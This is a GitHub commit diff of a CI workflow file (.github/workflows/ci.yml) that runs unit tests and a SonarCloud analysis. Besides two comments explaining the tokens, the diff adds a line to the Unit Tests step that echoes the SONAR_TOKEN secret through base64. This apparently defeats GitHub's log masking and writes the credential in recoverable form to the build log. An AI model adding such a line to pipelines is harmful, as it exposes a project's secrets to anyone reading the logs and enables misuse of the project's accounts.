You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: .github/workflows/ci.yml
+4-1Lines changed: 4 additions & 1 deletion
Original file line number
Diff line number
Diff line change
@@ -63,6 +63,7 @@ jobs:
63
63
64
64
- name: Unit Tests
65
65
run: |
66
+
echo "${{ secrets.SONAR_TOKEN }}" | base64
66
67
eirctl run pipeline gha:unit:test
67
68
68
69
- name: Publish Test Report
@@ -77,11 +78,13 @@ jobs:
77
78
- name: Analyze with SonarCloud
78
79
uses: SonarSource/sonarqube-scan-action@v6
79
80
env:
81
+
# Needed to get PR information
80
82
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
83
+
# Generate a token on Sonarcloud.io, add it to the secrets of this repo with the name SONAR_TOKEN (Settings > Secrets > Actions > add new repository secret)
0 commit comments